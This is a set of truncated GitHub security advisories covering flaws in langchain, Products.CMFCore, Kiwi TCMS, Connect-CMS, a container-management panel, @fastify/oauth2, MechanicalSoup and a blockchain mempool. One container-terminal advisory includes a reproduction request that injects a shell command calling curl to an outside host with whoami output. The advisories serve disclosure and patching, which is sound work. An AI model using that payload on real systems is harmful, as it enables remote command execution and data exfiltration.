ghsa

An issue in langchain allows a remote attacker to execute arbitrary code via the PALChain parameter in the Python exec method.

SQL injection vulnerability in langchain allows a remote attacker to obtain sensitive information via the SQLDatabaseChain component.

### Impact The use of Python's marshal module to handle unchecked input in a public method on `PortalFolder` objects can lead to an unauthenticated denial of service and crash situation. The code in question is exposed by all portal software built on top of `Products.CMFCore`, such as Plone. All deployments are vulnerable. ### Patches The code has been fixed in `Products.CMFCore` version 3.2. ### Workarounds Users can make the affected `decodeFolderFilter` method unreachable by editing the `PortalFolder.py` module in `Products.CMFCore` by hand and then restarting Zope. Go to line 233 of `PortalFolder.py` and remove both the `@security.public` decorator for `decodeFolderFilter` as well as the method's entire docstring. This is safe because the method is not actually used by current code. ### References - Products.CMFCore security advisory [GHSA-4hpj-8rhv-9x87](https://github.com/zopefoundation/Products.CMFCore/security/advisories/GHSA-4hpj-8rhv-9x87) ### Credits Thanks go to Nicolas...

### Impact Kiwi TCMS allows users to upload attachments to test plans, test cases, etc. Earlier versions of Kiwi TCMS had introduced changes which were meant to serve all uploaded files as plain text in order to prevent browsers from executing potentially dangerous files when such files are accessed directly! The previous Nginx configuration was incorrect allowing certain browsers like Firefox to ignore the `Content-Type: text/plain` header on some occasions thus allowing potentially dangerous scripts to be executed. Additionally file upload validators and parts of the HTML rendering code have been found to require additional sanitation and improvements. ### Patches - Updated Nginx content type configuration - Improved file upload validation code to prevent more potentially dangerous uploads - Sanitization of test plan names used in the `tree_view_html()` function ### References Disclosed by [M Nadeem Qazi](https://huntr.dev/bounties/511489dd-ba38-4806-9029-b28ab2830aa8/) and ...

### Impact There is a Privilege Escalation Vulnerability on the management system of Connect-CMS. Affercted Version : Connect-CMS 1.7.1, 2.3.1 and earlier ### Patches version 1.7.2, 2.3.2 ### Workarounds Upgrade Connect-CMS to latest version

### Impact The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. 1. Vulnerability analysis. ``` backend\app\api\v1\terminal.go#ContainerWsSsh ```  2. vulnerability reproduction. ``` GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Sec-WebSocket-Version: 13 Origin: http://192.168.109.152:40982 Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ== Connection: keep-alive, Upgrade Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e Pragma: no-cache Cache-Control: no-cache Upgrade: websocket ``` 3. The su...

### Impact The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. 1. Vulnerability analysis. ``` backend\app\api\v1\image_repo.go#create ```  ``` backend\app\service\image_repo.go#CheckConn ```  2. vulnerability reproduction. ``` POST /api/v1/containers/repo HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-CSRF-TOKEN: Content-Length: 446 Origin: http://192.168.109.152:40982 Connection: close Referer: http://192.168.109.152:40982/containers/repo Cookie: rem-username=admin; psession...

### Impact All versions of @fastify/oauth2 used a statically generated `state` parameter at startup time and were used across all requests for all users. The purpose of the Oauth2 `state` parameter is to prevent Cross-Site-Request-Forgery attacks. As such, it should be unique per user and should be connected to the user's session in some way that will allow the server to validate it. ### Patches v7.2.0 changes the default behavior to store the `state` in a cookie with the `http-only` and `same-site=lax` attributes set. The state is now by default generated for every user. Note that this contains a breaking change in the `checkStateFunction` function, which now accepts the full `Request` object. ### Workarounds There are no known workarounds. ### References * [Prevent Attacks and Redirect Users with OAuth 2.0 State Parameters](https://auth0.com/docs/secure/attack-protection/state-parameters)

### Summary A malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form. ### Details This affects the extremely common pattern of form submission: ```python b = mechanicalsoup.StatefulBrowser() b.select_form(...) b.submit_selected() ``` The problem is with the code in `browser.Browser.get_request_kwargs`: ```python if tag.get("type", "").lower() == "file" and multipart: filepath = value if filepath != "" and isinstance(filepath, str): content = open(filepath, "rb") else: content = "" filename = os.path.basename(filepath) # If value is the empty string, we still pass it # for consistency with browsers (see # https://github.com/MechanicalSoup/MechanicalSoup/issues/250). files[name] = (filename, content) ``` The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malici...

### Impact The mempool maintains two data structures to keep track of outstanding transactions: a list and a map. These two data structures are supposed to be in sync all the time in the sense that the map tracks the index (if any) of the transaction in the list. Unfortunately, it is possible to have them out of sync. When this happens, the list may contain several copies of the same transaction. Because the map tracks a single index, it is then no longer possible to remove all the copies of the transaction from the list. This happens even if the duplicated transaction is later committed in a block. The only way to remove the transaction is by restarting the node. These are the steps to cause the above duplication problem. Everything should happen within one height, that is no `FinalizeBlock` or `BeginBlock` ABCI calls should happen while these steps are reproduced: 1. send transaction tx1 to the target full node via RPC 2. send N more different transactions to the target full no...